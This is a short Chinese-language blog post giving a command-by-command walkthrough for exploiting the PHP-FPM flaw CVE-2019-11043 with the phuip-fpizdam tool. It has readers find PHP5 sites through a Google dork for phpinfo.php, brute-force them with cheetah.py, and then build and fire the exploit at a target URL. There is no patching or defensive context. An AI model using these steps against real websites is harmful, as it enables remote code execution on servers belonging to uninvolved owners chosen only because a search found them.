phuip-fpizdam php5版本漏洞利用和复现php-fpm (CVE-2019-11043)

admin 网络安全 2021年3月22日

3.60W 0 17

https://github.com/lvwuwei/phuip-fpizdam
可使用 cheetah暴力
python cheetah.py -u http://xxxx.com/phpinfo.php

使用google dork浏览器搜索inurl="phpinfo.php"
返回php5版本网站
使用go语言下载最新版https://golang.org/dl/
wget https://golang.org/dl/go1.16.2.linux-amd64.tar.gz tar xvf go1.16.2.linux-amd64.tar.gz mv go /usr/local export PATH=$PATH:/usr/local/go/bin
然后
git clone https://github.com/lvwuwei/phuip-fpizdam
cd /phuip-fpizdam
go build
./phuip-fpizdam http://xxxx.com/xxx.php

打赏

php-fpm漏洞(1)php5漏洞(1)phuip-fpm(1)

本文由泓源视野作者：admin 发表，其版权均为泓源视野所有，文章内容系作者个人观点，不代表泓源视野对观点赞同或支持。如需转载，请注明文章来源。